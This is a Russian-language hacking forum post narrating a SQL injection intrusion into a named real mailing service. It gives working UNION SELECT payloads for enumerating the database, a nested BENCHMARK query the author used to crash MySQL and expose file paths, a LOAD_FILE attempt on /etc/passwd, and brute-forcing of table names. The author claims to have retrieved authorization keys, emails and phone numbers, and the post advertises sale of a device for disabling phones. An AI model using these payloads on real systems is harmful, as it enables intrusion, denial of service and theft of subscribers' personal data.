sergphack
Сообщений: 23
Оценки: 0
Присоединился: 2010-03-28 06:00:32.310000
|
Сей оху.тельный опус можно публиковать где угодно и как угодно. Оригинал тут: http://hackspec.livejournal.com/ Так же напоминаю, что продолжается продажа убивцы сотовых и стационарных телефонов в ветке http://forum.xakep.ru/m_1754867/mpage_1/key_/tm.htm#1755936. Цена снижена ;) Статья ниже Что такое dotnews.ru? Это сервис массовых рассылок. В числе клиентов сервиса такие крупнейшие интернет магазины как bolero.ru, 003.ru, dostavka.com и другие. Количество подписчиков на все рассылки свыше несколько миллионов человек. Казалось бы такие крупнейшие интернет магазины подключены к системе. Наверняка платно. И тем удивительно поебХХХХХское отношение программистов к защите собственного приложения. Банальный запрос к первому же скрипту http://dotnews.ru/?c=61' выдает MySQL ошибку синтаксиса. У вас ошибка в синтаксисе, бла, бла бла в выражении SQL = SELECT id, parent, description from listcats where id=\' Далее дело техники. адрес сайта/?c=-1 union select null, null, null– Вернулся пустой результат. То что нужно. Следующий запрос. адрес сайта/?c=-1 union select null, null, version()– Показал версию MySQL, которая меня по правде говоря не обрадовала 4.1.22-log Значит названия столбцов и полей придется перебирать (( Правда если есть привелегии на загрузку файлов, то таблицы и столбцы вытаскиваются из системного файлика. Но для начала я проверил название бд запросом адрес сайта/?c=-1 union select null, null, database()– Имя базы данных tu. Пользователь определился соответственно запросом user() - fe@localhost К этому моменту я уже обнаружил два бажных скрипта и 4 таблицы: listcats, maillists, new_accounts, accounts Из MySQL 4 версии вытащить названия всех таблиц и столбцов можно лишь путем перебора или вскрытия системного файла. Для этого можно воспользоваться командой LOAD_FILE Но проблема есть в том, что для указания файла нужно указывать его абсолютный путь. Например /etc/passwd Чтобы узнать абсолютный путь, нужно вызвать такую ошибку MySQL, чтобы она сама этот путь и показала. К сожалению. бажные скрипты никак не хотели раскрывать пути, поэтому пришлось включать тяжелую артиллерию. А что может быть хуже того, чтобы запустить в майскул запрос бесконечный цикл ;) Что и было сделано адрес сайта/?c=-1 union select null, null, site from maillists where id=BENCHMARK(1000000000,BENCHMARK(1000000000,BENCHMARK(1000000000,MD5(NOW()))))– Причем прошу заметить все абсолютно законно, используя браузер вводим то, что позволяют скрипты. Не долго думая, скул повесился: Warning: mysql_connect(): Can't create a new thread (errno 12); if you are not out of available memory, you can consult the manual for a possible OS-dependent bug in /var/www/html/as/new/html/fe/db_connect_RO.php on line 5 Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in /var/www/html/as/new/html/fe/db_connect_RO.php on line 5 ДД/ММ/2010 ЧЧ:ММ:09 Can't connect to the database Вот и абсолютные пути. Далее делаем запрос что-то вроде, адрес сайта/не существующая страница и получаем ошибку: The requested URL /sdfsfdsf was not found on this server. Apache/2.2.9 (Gentoo) mod_ssl/2.2.9 OpenSSL/0.9.8h PHP/4.3.12-20050419 Server at new.dotnews.ru Port 80 Выяснить абсолютный путь к MySQL - это уже гугл вопрос. К слову админов, майскул не давал выводить файлы (( Поэтому имена таблиц и столбцов пришлось подсуетить простеньким брутом. Но этого было вполне достаточно, чтобы бажные скрипты легким движением ручек выдали в браузер ключи авторизации, мыла, телефоны ответственных за рассылку лиц и т.д. Вот так вот, один программист расХХХдяй может подставить под удар крупную компанию и десятки и сотни ее клиентов. Хочу обратить внимание, что все вышенаписанное бред моего воображения, информация не была скопирована, удалена или видоизменена, однако в целях вашей же безопасности убедительная просьба сменить данные для авторизации особенно для авторов рассылок. Бываете, ихтиандры
|